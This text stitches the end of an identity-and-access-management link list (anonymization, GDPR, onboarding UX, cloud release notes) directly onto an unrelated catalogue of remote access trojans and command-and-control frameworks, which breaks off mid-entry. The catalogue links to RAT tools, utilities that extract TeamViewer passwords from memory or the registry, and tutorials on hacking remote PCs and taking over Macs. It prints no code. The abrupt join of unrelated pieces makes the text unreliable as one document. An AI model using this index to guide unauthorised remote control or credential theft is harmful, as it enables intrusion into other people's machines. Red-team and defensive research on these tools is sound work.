Hacks](https://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/) - Don't be the next company leaking your customer's data. ### Anonymization As a central repository of user data, the IAM stack stakeholders have to prevent any leakage of business and customer data. To allow for internal analytics, anonymization is required. - [The False Allure of Hashing for Anonymization](https://gravitational.com/blog/hashing-for-anonymization/) - Hashing is not sufficient for anonymization no. But still it is good enough for pseudonymization (which is allowed by the GDPR). - [Four cents to deanonymize: Companies reverse hashed email addresses](https://freedom-to-tinker.com/2018/04/09/four-cents-to-deanonymize-companies-reverse-hashed-email-addresses/) - “Hashed email addresses can be easily reversed and linked to an individual”. - [Why differential privacy is awesome](https://desfontain.es/privacy/differential-privacy-awesomeness.html) - Explain the intuition behind [differential privacy](https://en.wikipedia.org/wiki/Differential_privacy), a theoretical framework which allow sharing of aggregated data without compromising confidentiality. See follow-up articles with [more details](https://desfontain.es/privacy/differential-privacy-in-more-detail.html) and [practical aspects](https://desfontain.es/privacy/differential-privacy-in-practice.html). - [k-anonymity: an introduction](https://www.privitar.com/listing/k-anonymity-an-introduction) - An alternative anonymity privacy model. - [Presidio](https://github.com/microsoft/presidio) - Context aware, pluggable and customizable data protection and PII data anonymization service for text and images. - [Diffix: High-Utility Database Anonymization](https://aircloak.com/wp-content/uploads/apf17-reprint.pdf) - Diffix try to provide anonymization, avoid pseudonymization and preserve data quality. [Written in Elixir at Aircloak](https://elixirforum.com/t/aircloak-anonymized-analitycs/10930), it acts as an SQL proxy between the analyst and an unmodified live database. ### GDPR The well-known European privacy framework - [GDPR Tracker](https://gdpr.eu) - Europe's reference site. - [GDPR Developer Guide](https://github.com/LINCnil/GDPR-Developer-Guide) - Best practices for developers. - [GDPR – A Practical guide for Developers](https://techblog.bozho.net/gdpr-practical-guide-developers/) - A one-page summary of the above. - [GDPR Tracker](https://gdprtracker.io) - Track the GDPR compliance of cloud services and subprocessors. - [GDPR documents](https://github.com/good-lly/gdpr-documents) - Templates for personal use to have companies comply with "Data Access" requests. - [Dark Patterns after the GDPR](https://arxiv.org/pdf/2001.02479.pdf) - This paper demonstrates that, because of the lack of GDPR law enforcements, dark patterns and implied consent are ubiquitous. - [GDPR Enforcement Tracker](http://enforcementtracker.com) - List of GDPR fines and penalties. - [Ship Your Enemies GDPR](https://shipyourenemiesgdpr.com) - Weaponizing GDPR to help you send your enemies a Data Requests designed to waste as much of their time as possible. ## UX/UI As stakeholder of the IAM stack, you're going to implement in the backend the majority of the primitives required to build-up the sign-up tunnel and user onboarding. This is the first impression customers will get from your product, and can't be overlooked: you'll have to carefully design it with front-end experts. Here is a couple of guides to help you polish that experience. - [The 2020 State of SaaS Product Onboarding](https://userpilot.com/saas-product-onboarding/) - Covers all the important facets of user onboarding. - [User Onboarding Teardowns](https://www.useronboard.com/user-onboarding-teardowns/) - A huge list of deconstructed first-time user signups. - [Discover UI Design Decisions Of Leading Companies](https://goodui.org/leaks/) - From Leaked Screenshots & A/B Tests. - [Conversion Optimization](https://www.nickkolenda.com/conversion-optimization-psychology/#cro-tactic11) - A collection of tactics to increase the chance of users finishing the account creation funnel. - [Trello User Onboarding](https://growth.design/case-studies/trello-user-onboarding/) - A detailed case study, nicely presented, on how to improve user onboarding. - [11 Tips for Better Signup / Login UX](https://learnui.design/blog/tips-signup-login-ux.html) - Some basic tips on the login form. - [Don't get clever with login forms](http://bradfrost.com/blog/post/dont-get-clever-with-login-forms/) - Create login forms that are simple, linkable, predictable, and play nicely with password managers. - [Why are the username and password on two different pages?](https://www.twilio.com/blog/why-username-and-password-on-two-different-pages) - To support both SSO and password-based login. Now if breaking the login funnel in 2 steps is too infuriating to users, solve this as Dropbox does: [an AJAX request when you enter your username](https://news.ycombinator.com/item?id=19174355). - [HTML attributes to improve your users' two factor authentication experience](https://www.twilio.com/blog/html-attributes-two-factor-authentication-autocomplete) - “In this post we will look at the humble `<input>` element and the HTML attributes that will help speed up our users' two factor authentication experience”. - [Remove password masking](http://passwordmasking.com) - Summarizes the results from an academic study investigating the impact removing password masking has on consumer trust. - [For anybody who thinks "I could build that in a weekend," this is how Slack decides to send a notification](https://twitter.com/ProductHunt/status/979912670970249221) - Notifications are hard. Really hard. ## Competitive Analysis A bunch of resources to keep track of the current status and progress of all companies operating in the domain. - [AWS Security, Identity & Compliance announcements](https://aws.amazon.com/about-aws/whats-new/security_identity_and_compliance/) - The source of all new features added to the IAM perimeter. - [GCP IAM release notes](https://cloud.google.com/iam/docs/release-notes) - Also of note: [Identity](https://cloud.google.com/identity/docs/release-notes), [Identity Platform](https://cloud.google.com/identity-platform/docs/release-notes), [Resource Manager](https://cloud.google.com/resource-manager/docs/release-notes), [Key Management Service/HSM](https://cloud.google.com/kms/docs/release-notes), [Access Context Manager](https://cloud.google.com/access-context-manager/docs/release-notes), [Identity-Aware Proxy](https://cloud.google.com/iap/docs/release-notes), [Data Loss Prevention](https://cloud.google.com/dlp/docs/release-notes) and [Security Scanner](https://cloud.google.com/security-scanner/docs/release-notes). - [Unofficial Weekly Google Cloud Platform newsletter](https://www.gcpweekly.com) - Relevant keywords: [`IAM`](https://www.gcpweekly.com/gcp-resources/tag/iam/) and [`Security`](https://www.gcpweekly.com/gcp-resources/tag/security/). - [DigitalOcean Accounts changelog](http://docs.digitalocean.com/release-notes/accounts/) - All the latest accounts updates on DO. - [163 AWS services explained in one line each](https://adayinthelifeof.nl/2020/05/20/aws.html#discovering-aws) - Help makes sense of their huge service catalog. In the same spirit: [AWS in simple terms](https://netrixllc.com/blog/aws-services-in-simple-terms/) & [AWS In Plain English](https://expeditedsecurity.com/aws-in-plain-english/). - [Google Cloud Developer's Cheat Sheet](https://github.com/gregsramblings/google-cloud-4-words#the-google-cloud-developers-cheat-sheet) - Describe all GCP products in 4 words or less. ## History - [cryptoanarchy.wiki](https://cryptoanarchy.wiki) - Cypherpunks overlaps with security. This wiki compiles information about the movement, its history and the people/events of note. ## Contributing Your contributions are always welcome\! Please take a look at the [contribution guidelines](.github/contributing.md) first. ## Footnotes The [header image](https://github.com/kdeldycke/awesome-iam/blob/main/assets/awesome-iam-header.jpg) is based on a modified [photo](https://unsplash.com/photos/2LowviVHZ-E) by [Ben Sweet](https://unsplash.com/@benjaminsweet). <!--lint disable no-undefined-references--> <a name="intro-quote-def">\[1\]</a>: [_Poison Study_](https://amzn.com/0778324338/?tag=kevideld-20) (Mira, 2007). [\[↑\]](#intro-quote-ref)

# [List of all the notorious RATS](https://github.com/DAILYHIJACKS/RAT-Army) # RAT bins by [Qirit0](https://github.com/die-dimitry) - 2500+ open source RAT/C&C tools, 1200+ blogs and video about RAT/C&C analysis. # Directory - [Popular Tools](#39bad1d60c8fbb697fd8701ffafc50a6) - [pupy](#98000cf45f63bf295d39e9255d7972ca) -> [(1)Tools](#ff6ee8128d4f01f80c3f2bb522f0d5e9) [(6)Post](#4f5ffa16436730588e8d009febe1bd5c) - [Covenant](#1acc99cd2330bc55f1dffecfa75b9c7d) -> [(3)Tools](#05d2a0aed9499aea447e90668c8d5103) [(18)Post](#81af73c48e520a45619cbf7769cc64b5) - [Slackor](#cf120400afb57c2af9b8da037b3b7c3b) -> [(1)Tools](#280aaf2c1b0f44b6f5ec7095d7b35578) [(3)Post](#8adba68f714e281a3bb7faa2c3661d1b) - [QuasarRAT](#05df4f3dd6438b6f6d67f56a8b6e40f3) -> [(1)Tools](#c2df559aa60f8bfd5da4d9fc7c0ea0d2) [(9)Post](#36c965d7808be2799f70e4d910a17abd) - [EvilOSX](#380ea0abfdbf07624ebf45681b773e54) -> [(1)Tools](#a69f3baa491547ddf6a628cda168b492) [(9)Post](#375dc16ed1cf6be4274da55140784610) - [Merlin](#42a4a0bcb02fcb7a30fe7e42b7a9cdb5) -> [(1)Tools](#941bae92e80ca3f9c21a232cc959eb67) [(3)Post](#5b3a7a286bac53bf26395ea5ffb6c590) - [Commercial Tools](#f1821c037c77e23ca5c2552477708930) - [Team Viewer](#db69305116cf91a4e67b4c75465dfe3e) -> [(7)Tools](#d42849969f2b53c898f0b6e710dc3027) [(34)Post](#eed97a5a9b2346759fb7bb30c5a98bbe) - [RAT Malware](#f6f85e2d4f8e5442884f4d9b6e56ca42) - [Gh0st](#74d9131b5ad95c569c0afb9ee5a3c9b9) -> [(5)Tools](#dcb10cc6813a25815201b36bacdef198) [(23)Post](#683b7000242336c05ea278c9ad3d7e5e) - [NanoCore](#81308c6923f66db886efe8ae967c2845) -> [(1)Tools](#c84aebee516fbf526701102cfa6d0a98) [(32)Post](#6df7f0da7bb260a54405579912678c0d) - [NjRat](#31bd9e6c54fdd9a00a45542e53abc13b) -> [(4)Tools](#ff7bcb6c765cb73cfadda9f06deda668) [(20)Post](#de09011e16164e950d653756212219ac) - [Revenge RAT](#db2bbd5298638952f34060e4f8ee0053) -> [(1)Tools](#cef60ee76daa3240e95bbf82f2994848) [(9)Post](#2dd3016da115b16c9de264b885105eff) - [PlugX](#37466b42f2f777fa5a6400d78931995c) -> [(1)Tools](#03b501e2e5da59c3c97027775e6a93b7) [(40)Post](#17ca6dd6130c10b726039472c20bb093) - [(25) RemcosRAT](#ee2e3505664b3a7d26842b0278ccce23) - [(3) L0rdixRAT](#3f113acb3b6863c4ec5cbe04ce69f841) - [(1) LodaRAT](#07522f33ae58f9d0de0bdc202f6aa1aa) - [(9) GulfRAT](#e8fa6ccd3f727add34525951a81fd493) - [(14) NetWireRAT](#57ea699dadcafe202a31772c837f9b7f) - [(1) JhoneRAT](#20cd83aa4b202931ed4597c506d61257) - [(2) Dacls](#2da027a7cc244e466f914c996623d114) - [(1) BlackRemote](#8bfe869e8aca6fa9e7d2d5b0353c0dc2) - [(17) Orcus](#9ac323d054e6f52e9a92e449b51e75e6) - [(1) NukeSped](#8038672c0b8ef4b0b82afdeae025b38c) - [(21) DarkComet](#11b35c707990ed436d23cc7495713177) - [(1) WarZone RAT](#5af0edca5a51bdd5fd8f8d37b08218c8) - [(16) BlackShades](#84187b0e75ca2a5a844f0367bf6d3c6b) - [(1) DenesRAT](#36531e67f10ecd7114880530e5e46e95) - [(4) WSH RAT](#660f78a639f351f8404accad8c711ca4) - [(2) Qrypter RAT](#319dcbdac181398a9b2ba7f5424a3e04) - [(20) Adwind](#eb6a3a9a179678734be43ea1eb26f1c3) - [(1) CannibalRAT](#eb3c9f8af4ebe91aca4649718ff595c2) - [(3) jRAT](#5fe739ee0e8778979807558ccd439b07) - [(5) jsRAT](#b62c18c1b4fc6d5b52ca826b36cf0819) - [(4) CrossRat](#8d0732c4a6cf2393c0ff4e6cfe54f50f) - [(1) ArmaRat](#bb9ad532c3a3c9235157325236380a96) - [(6) RokRAT](#504b8511fe74ddb142775e007fa509f8) - [(1) CatKARAT](#ec8fe0e42f60749c29b75ed6708a5323) - [(5) TheFatRat](#c3abd29c4145412f661b02b37347e70b) - [(2) OmniRAT](#f1e2e824425e798bf4e410e4496181ed) - [(6) LuminosityLink](#bea46716ccf78713fbb9764999968e72) - [(477) Other](#6e0343d40b9606a34ad2ff311d0d259a) - [Pubic Service For C&C](#e80bdc9447f3cdc9416282b598b14cf7) - [Telegram](#17b978a5c371699ccd9a5687ae3f3949) -> [(3)Tools](#492b34c27ab06b3696c0464465b74eec) [(2)Post](#06365f440cb6fa3e0daf933cb0874c8b) - [Twitter](#a6303482a58e0d14bb8ce1849817ab5a) -> [(2)Tools](#ae91172321950c1296375e9c9059d773) [(6)Post](#f6f5e4da48152e5b0bc45608a3f9a656) - [GMail](#d2041a55efcfc29ca6a257916255b43b) -> [(3)Tools](#be2346c808f9813f13da3526576e1839) [(8)Post](#4b9fa06652be565e5e53db0b094bfb80) - [Github](#b37bc6073be9a78ed6dbd0d21251fc63) -> [(1)Tools](#842ef8261474bd529ac72c43dcf9c1fa) [(5)Post](#d46b05d91c64bed9533dd00ba8eac513) - [DropBox](#618ec29a95a1f90a2696490d1f1afb2f) -> [(1)Tools](#a6091cce89af46f8e9deb0efe0a378cc) [(3)Post](#59b97649c4ed0a852859d07d2e640c45) - [Blockchain](#2b58c60ed7c7920f03979756f6f72fcc) -> [(2)Tools](#920d0c6167385c71e171ccbe71397f7a) [(1)Post](#3d26ec5c4c50edaaf343903e5fb182c2) - [Other](#1e53961ca8fc592a588e18a5f1519078) -> [(15)Tools](#77cdae7f8911e93ff055f270ef9bf562) [(5)Post](#8842ea68ff727ac4d5d970405f152161) - [Communication Protocol](#9f6f77f1fcf614c9738dfeac9cc5d1d3) - [DNS](#7485e724ef5efd1daf9d672bd72fb595) - [(9) Tools](#d70a62f77fa20a2219e81fa61527e644) - [(18) Post](#fa377fafdbd3ef80574411ef3a54c693) - [Domain Generation Algorithm(DGA)](#41df71c75c08038e17e5526fe0afceb5) -> [(14)Tools](#a2e73ce71da73fb1b4ab8cb52449d839) [(42)Post](#7c21e329221f50f2b9c1918ab01c26fd) - [ICMP](#867ed7efa4643442ef6859571db8a587) -> [(5)Post](#aa2a205557d269a563191e7fc7f7eb0a) - [WebSocket](#fe3abb0c040999744a648ed68780835c) -> [(2)Tools](#097f22edaf98529c95353d8edef562b7) [(5)Post](#f2f397345d35d2cc574a4689ad4c8293) - [C&C](#1c28538afe533f545b540cbd78637241) - [Cobalt Strike](#e8d16b3301a2ab9109b503b89ec6eece) -> [(14)Tools](#f587c1f0baaf7aa1d9e9c5fe533c7a6d) [(8)Post](#249b843c26732ce792d7448c2601f595) - [Tools](#ec8ac76dec379ff452f681a4504444b8) - [(64) Recent Add](#dbd38a8d8a1e246cd8628a34002c5fe7) - [Post](#307c055d7414abc9ab9f2fb4e85456e1) - [(258) Recent Add](#dc96281ca669ac06c3d7d134c7f90643) - [RAT](#b318465d0d415e35fc0883e9894261d1) - [Tools](#9e3a9beb5ecf36b9624525bc3cfef78a) - [(9) Android](#6ed48c90d1bd6a31a4ea7380f4f5768a) - [(5) Linux](#fa50a59bde92471d60f030ea12817540) - [(17) Windows](#1da695fd3dec80b88aadb1b7c724330f) - [(4) Apple](#674863bb36ce7a2f814934480c7fd3d2) - [(90) Recent Add](#964a3580a7a7f66571ee1d2c0f34f2d6) - [Post](#39ccec75049c60fa1d5dd46fea812331) # <a id="39bad1d60c8fbb697fd8701ffafc50a6"></a>Popular Tools *** ## <a id="98000cf45f63bf295d39e9255d7972ca"></a>pupy ### <a id="ff6ee8128d4f01f80c3f2bb522f0d5e9"></a>Tools - [**5265**Star][1m] [Py] [n1nj4sec/pupy](https://github.com/n1nj4sec/pupy) Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python ### <a id="4f5ffa16436730588e8d009febe1bd5c"></a>Post - 2020.01 [TheCyberWire] [PupyRAT is back. So is the Konni Group. Twitter storm over claims that MBS hacked Jeff Bezos....](https://www.youtube.com/watch?v=q_zqp7BTVyU) - 2019.03 [hackingarticles] [Command & Control Tool: Pupy](https://www.hackingarticles.in/command-control-tool-pupy/) - 2017.11 [chokepoint] [Pupy as a Metasploit Payload](http://www.chokepoint.net/2017/11/pupy-as-metasploit-payload.html) - 2017.10 [boredhackerblog] [Pupy shell over Tor](http://www.boredhackerblog.info/2017/10/pupy-shell-over-tor.html) - 2017.02 [n0where] [Open Source Cross Platform RAT: Pupy](https://n0where.net/open-source-cross-platform-rat-pupy) - 2015.10 [hackingarticles] [Hack Remote PC using Pupy – Remote Administration Tool](http://www.hackingarticles.in/hack-remote-pc-using-pupy-remote-administration-tool/) *** ## <a id="1acc99cd2330bc55f1dffecfa75b9c7d"></a>Covenant ### <a id="05d2a0aed9499aea447e90668c8d5103"></a>Tools - [**1147**Star][6d] [C#] [cobbr/covenant](https://github.com/cobbr/covenant) Covenant is a collaborative .NET C2 framework for red teamers. - [**95**Star][9d] [C#] [cobbr/elite](https://github.com/cobbr/elite) Elite is the client-side component of the Covenant project. Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. - [**31**Star][4m] [C#] [cobbr/c2bridge](https://github.com/cobbr/c2bridge) C2Bridges allow developers to create new custom communication protocols and quickly utilize them within Covenant. ### <a id="81af73c48e520a45619cbf7769cc64b5"></a>Post - 2020.01 [csis] [Embedding external DLLs into Covenant Tasks](https://medium.com/p/de443c4a2b84) - 2020.01 [hakin9] [Covenant the .NET based C2 on Kali Linux | by Dan Dieterle](https://hakin9.org/covenant-the-net-based-c2-on-kali-linux/) - 2019.12 [cyberarms] [Covenant the .NET based C2 on Kali Linux](https://cyberarms.wordpress.com/2019/12/30/covenant-the-net-based-c2-on-kali-linux/) - 2019.12 [rastamouse] [Covenant Tasks 101](https://rastamouse.me/2019/12/covenant-tasks-101/) - 2019.12 [rsa] [Using RSA NetWitness to Detect C&C: Covenant](https://community.rsa.com/community/products/netwitness/blog/2019/12/20/using-rsa-netwitness-to-detect-cc-covenant) - 2019.11 [4hou] [Covenant利用分析](https://www.4hou.com/technology/21328.html) - 2019.11 [3gstudent] [Covenant利用分析](https://3gstudent.github.io/3gstudent.github.io/Covenant%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/) - 2019.10 [cobbr] [Covenant: Developing Custom C2 Communication Protocols](https://cobbr.io/Covenant-Developing-Custom-C2-Protocols.html) - 2019.10 [specterops] [Covenant: Developing Custom C2 Communication Protocols](https://medium.com/p/895587e7f325) - 2019.09 [freebuf] [Covenant：针对红队设计的.NET命令行控制框架](https://www.freebuf.com/articles/system/213672.html) - 2019.09 [stealthbits] [Setup, Configuration, and Task Execution with Covenant: The Complete Guide](https://blog.stealthbits.com/setup-configuration-and-task-execution-with-covenant-the-complete-guide/) - 2019.08 [stealthbits] [Next-Gen Open Source C2 Frameworks in a Post PSEmpire World: Covenant](https://blog.stealthbits.com/next-gen-open-source-c2-frameworks/) - 2019.08 [rastamouse] [Covenant, Donut, TikiTorch](https://rastamouse.me/2019/08/covenant-donut-tikitorch/) - 2019.08 [cobbr] [Covenant: The Usability Update](https://cobbr.io/Covenant-The-Usability-Update.html) - 2019.08 [specterops] [Covenant: The Usability Update](https://medium.com/p/9a7a596a4772) - 2019.02 [cobbr] [Entering a Covenant: .NET Command and Control](https://cobbr.io/Covenant.html) - 2019.02 [rvrsh3ll] [Entering a Covenant: .NET Command and Control](https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462) - 2019.01 [specterops] [Entering a Covenant: .NET Command and Control](https://medium.com/p/e11038bcf462) *** ## <a id="cf120400afb57c2af9b8da037b3b7c3b"></a>Slackor ### <a id="280aaf2c1b0f44b6f5ec7095d7b35578"></a>Tools - [**332**Star][12d] [Py] [coalfire-research/slackor](https://github.com/coalfire-research/slackor) A Golang implant that uses Slack as a command and control server ### <a id="8adba68f714e281a3bb7faa2c3661d1b"></a>Post - 2019.09 [freebuf] [Slackor：Go语言写的一款C&C服务器](https://www.freebuf.com/sectool/212690.html) - 2019.08 [freebuf] [Slackor：如何将Slack当作你的命令控制服务器](https://www.freebuf.com/articles/network/209252.html) - 2019.06 [n00py] [Introducing Slackor, a Remote Access Tool Using Slack as a C2 Channel](https://www.n00py.io/2019/06/introducing-slackor-a-remote-access-tool-using-slack-as-a-c2-channel/) *** ## <a id="05df4f3dd6438b6f6d67f56a8b6e40f3"></a>QuasarRAT ### <a id="c2df559aa60f8bfd5da4d9fc7c0ea0d2"></a>Tools - [**2932**Star][10m] [C#] [quasar/quasarrat](https://github.com/quasar/quasarrat) Remote Administration Tool for Windows ### <a id="36c965d7808be2799f70e4d910a17abd"></a>Post - 2019.10 [UltraHacks] [QuasarRAT [Free Download] | [TUTORIAL VIDEO] | Ultra Hacks](https://www.youtube.com/watch?v=0pyPk26lNiE) - 2018.09 [malwarebytes] [Buggy implementation of CVE-2018-8373 vulnerability used to deliver Quasar RAT](https://blog.malwarebytes.com/threat-analysis/2018/09/buggy-implementation-of-cve-2018-8373-used-to-deliver-quasar-rat/) - 2018.03 [4hou] [深入分析利用宏代码传播NetwiredRC和Quasar RAT的恶意RTF文档](http://www.4hou.com/web/10909.html) - 2018.01 [paloaltonetworks] [VERMIN: Quasar RAT and Custom Malware Used I](https://unit42.paloaltonetworks.com/unit42-vermin-quasar-rat-custom-malware-used-ukraine/) - 2017.12 [HackerSploit] [QuasarRAT - The Best Windows RAT? - Remote Administration Tool for Windows](https://www.youtube.com/watch?v=kyueZUfSWO4) - 2017.11 [n0where] [Free, Open-Source Remote Administration Tool for Windows: QuasarRAT](https://n0where.net/free-open-source-remote-administration-tool-for-windows-quasarrat) - 2017.10 [TechnoHacker] [Quasar RAT review](https://www.youtube.com/watch?v=fS9OTERI3hg) - 2017.10 [rsa] [MalSpam Delivers RAT SpyWare Quasar 9-27-2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/02/malspam-delivers-rat-spyware-quasar-9-27-2017) - 2017.01 [paloaltonetworks] [Downeks and Quasar RAT Used in Recent Targeted Attacks Against Go](https://unit42.paloaltonetworks.com/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/) *** ## <a id="380ea0abfdbf07624ebf45681b773e54"></a>EvilOSX ### <a id="a69f3baa491547ddf6a628cda168b492"></a>Tools - [**1376**Star][2y] [Py] [marten4n6/evilosx](https://github.com/marten4n6/evilosx) An evil RAT (Remote Administration Tool) for macOS / OS X. ### <a id="375dc16ed1cf6be4274da55140784610"></a>Post - 2019.07 [hackingarticles] [EvilOSX-RAT for MacOS/OSX](https://www.hackingarticles.in/evilosx-rat-for-macos-osx/) - 2019.06 [NullByte] [Take Control Over MacOS Computers with EvilOSX [Tutorial]](https://www.youtube.com/watch?v=qxymLHGnCo4) - 2018.08 [freebuf] [EvilOSX：一款功能强大的macOS远程管理工具（RAT）](http://www.freebuf.com/sectool/180668.html) - 2018.07 [pentesttoolz] [EvilOSX – Evil Remote Administration Tool (RAT) for macOS/OS X – Kali Linux 2018.2](https://pentesttoolz.com/2018/07/04/evilosx-evil-remote-administration-tool-rat-for-macos-os-x-kali-linux-2018-2/) - 2018.06 [n0where] [Pure python post-exploitation RAT for macOS & OSX: EvilOSX](https://n0where.net/pure-python-post-exploitation-rat-for-macos-osx-evilosx) - 2018.03 [applehelpwriter] [defending against EvilOSX, a python RAT with a twist in its tail](http://applehelpwriter.com/2018/03/09/defending-against-evilosx-a-python-rat-with-a-twist-in-its-tail/) - 2018.03 [binarydefense] [EvilOSX - Binary Defense](https://www.binarydefense.com/evilosx/) - 2018.03 [binarydefense] [EvilOSX](https://blog.binarydefense.com/evilosx) - 2017.11 [NullByte] [EvilOSX RAT - How to build a payload and start a server](https://www.youtube.com/watch?v=csqnJUxrpOw) *** ## <a id="42a4a0bcb02fcb7a30fe7e42b7a9cdb5"></a>Merlin ### <a id="941bae92e80ca3f9c21a232cc959eb67"></a>Tools - [**2568**Star][6m] [Go] [ne0nd0g/merlin](https://github.com/ne0nd0g/merlin) Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang. ### <a id="5b3a7a286bac53bf26395ea5ffb6c590"></a>Post - 2019.03 [hackingarticles] [Command and Control Guide to Merlin](https://www.hackingarticles.in/command-and-control-guide-to-merlin/) - 2018.02 [lockboxx] [Merlin for Red Teams](https://lockboxx.blogspot.com/2018/02/merlin-for-red-teams.html) - 2017.12 [n0where] [Cross-Platform Post-Exploitation HTTP/2 Command & Control Server: Merlin](https://n0where.net/cross-platform-post-exploitation-http-2-command-control-server-merlin) # <a id="f1821c037c77e23ca5c2552477708930"></a>Commercial Tools *** ## <a id="db69305116cf91a4e67b4c75465dfe3e"></a>Team Viewer ### <a id="d42849969f2b53c898f0b6e710dc3027"></a>Tools - [**405**Star][2y] [C++] [vah13/extracttvpasswords](https://github.com/vah13/extracttvpasswords) tool to extract passwords from TeamViewer memory using Frida - [**277**Star][2y] [C++] [gellin/teamviewer_permissions_hook_v1](https://github.com/gellin/teamviewer_permissions_hook_v1) A proof of concept injectable C++ dll, that uses naked inline hooking and direct memory modification to change your TeamViewer permissions. - [**175**Star][9d] [uknowsec/sharpdecryptpwd](https://github.com/uknowsec/sharpdecryptpwd) 对密码已保存在 Windwos 系统上的部分程序进行解析,包括：Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品（Xshell,Xftp)。 - [**59**Star][2y] [Py] [attackercan/teamviewer-dumper](https://github.com/attackercan/teamviewer-dumper) Dump TeamViewer ID and password from memory. Works much better than other tools. - [**42**Star][6d] [C#] [v1v1/decryptteamviewer](https://github.com/v1v1/decryptteamviewer) Enumerate and decrypt TeamViewer credentials from Windows registry - [**36**Star][5y] [C++] [kkar/teamviewer-dumper-in-cpp](https://github.com/kkar/teamviewer-dumper-in-cpp) Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows. - [**25**Star][5m] [C++] [dydtjr1128/remoteassistance-cpp](https://github.com/dydtjr1128/remoteassistance-cpp) [WIP]RemoteAssistance like TeamViewer(C++) ### <a id="eed97a5a9b2346759fb7bb30c5a98bbe"></a>Post - 2020.02 [yoroi] [Importante Vulnerabilità su TeamViewer](https://blog.yoroi.company/warning/importante-vulnerabilita-su-teamviewer/) - 2020.01 [freebuf] [“正版”监控软件被黑产利用，输出把关不严或成另一个TeamViewer？](https://www.freebuf.com/articles/system/225335.html) - 2019.11 [sessionstack] [TeamViewer, and Alternative Remote Access and Web Conferencing Solutions, Through the Lens of Customer Service](https://blog.sessionstack.com/teamviewer-and-alternative-remote-access-and-web-conferencing-solutions-through-the-lens-of-c219d0db7f85) - 2019.10 [threatbook] [“TeamViewer被黑门”是确有其事还是夸大其词？别慌！一文看懂应对方法](https://x.threatbook.cn/nodev4/vb4/article?threatInfoID=1994) - 2019.10 [freebuf] [TeamViewer据称“被入侵”事件的研判及结论](https://www.freebuf.com/articles/system/216444.html) - 2019.04 [4hou] [利用木马化TeamViewer针对多个国家政府机构的攻击行动](https://www.4hou.com/web/17610.html) - 2019.04 [0x00sec] [Port 5900 open on a MAC that used Teamviewer, trying to access it](https://0x00sec.org/t/port-5900-open-on-a-mac-that-used-teamviewer-trying-to-access-it/13173/) - 2018.09 [blackmoreops] [Install TeamViewer on Kali Linux 2018](https://www.blackmoreops.com/2018/09/25/install-teamviewer-on-kali-linux-2018/) - 2018.08 [freebuf] [你下载的TeamViewer13破解版可能有毒](http://www.freebuf.com/vuls/175689.html) - 2018.08 [4hou] [使用RMS和TeamViewer攻击工业公司](http://www.4hou.com/web/12940.html) - 2018.08 [kaspersky] [Attacks on industrial enterprises using RMS and TeamViewer](https://ics-cert.kaspersky.com/reports/2018/08/01/attacks-on-industrial-enterprises-using-rms-and-teamviewer/) - 2018.08 [securelist] [Attacks on industrial enterprises using RMS and TeamViewer](https://securelist.com/attacks-on-industrial-enterprises-using-rms-and-teamviewer/87104/) - 2017.12 [4hou] [TeamViewer 13.0.5058中的权限漏洞测试](http://www.4hou.com/vulnerable/9243.html) - 2017.12 [3gstudent] [TeamViewer 13.0.5058中的权限漏洞测试](https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/) - 2017.12 [3gstudent] [TeamViewer 13.0.5058中的权限漏洞测试](https://3gstudent.github.io/3gstudent.github.io/TeamViewer-13.0.5058%E4%B8%AD%E7%9A%84%E6%9D%83%E9%99%90%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95/) - 2017.12 [malwarebytes] [Use TeamViewer? Fix this dangerous permissions bug with an update](https://blog.malwarebytes.com/cybercrime/2017/12/use-teamviewer-fix-this-dangerous-permissions-bug-with-an-update/) - 2017.11 [360] [基于TeamViewer的瞄准小公司的远控木马分析](https://www.anquanke.com/post/id/87336/) - 2017.08 [freebuf] [利用Frida从TeamViewer内存中提取密码](http://www.freebuf.com/sectool/142928.html) - 2017.04 [4hou] [深入了解恶意软件如何滥用TeamViewer？](http://www.4hou.com/technology/4417.html) - 2017.02 [4hou] [TeamSpy又回来了，TeamViewer变成了它的攻击载体](http://www.4hou.com/info/3461.html) - 2016.12 [trendmicro] [New SmsSecurity Variant Roots Phones, Abuses Accessibility Features and TeamViewer](https://blog.trendmicro.com/trendlabs-security-intelligence/new-smssecurity-variant-roots-phones-abuses-accessibility-features-teamviewer/) - 2016.10 [broadanalysis] [Rig Exploit Kit via EITEST delivers malicious payload and TeamViewer Remote Control](http://www.broadanalysis.com/2016/10/22/rig-exploit-kit-via-eitest-delivers-malicious-payload-and-teamviewer-remote-control/) - 2016.06 [trendmicro] [Unsupported TeamViewer Versions Exploited For Backdoors, Keylogging](https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging/) - 2016.06 [] [运用最广的远控-TeamViewer被黑了](http://www.91ri.org/15890.html) - 2016.06 [radware] [Has TeamViewer Been Hacked?](https://blog.radware.com/security/2016/06/has-teamviewer-been-hacked/) - 2016.06 [fortinet] [Threat Landscape Perspectives: TeamViewer Attack – Spy vs. Spy Misdirection?](https://www.fortinet.com/blog/industry-trends/threat-landscape-perspectives-teamviewer-misdirection-like-spy-vs-spy.html) - 2016.03 [privacy] [Surprise, Hackers Use TeamViewer to Spread Ransomware](http://privacy-pc.com/news/hackers-use-teamviewer.html) - 2015.08 [volatility] [Recovering TeamViewer (and other) Credentials from RAM with EditBox](https://volatility-labs.blogspot.com/2015/08/recovering-teamviewer-and-other.html) - 2015.06 [] [获取运行中的TeamViewer的账号和密码](http://www.91ri.org/13367.html) - 2014.05 [trendmicro] [Remote Help for Family and Friends – Part 1: Installing and Using TeamViewer](http://blog.trendmicro.com/remote-help-family-friends-part-1/) - 2014.02 [webroot] [Managed TeamViewer based anti-forensics capable virtual machines offered as a 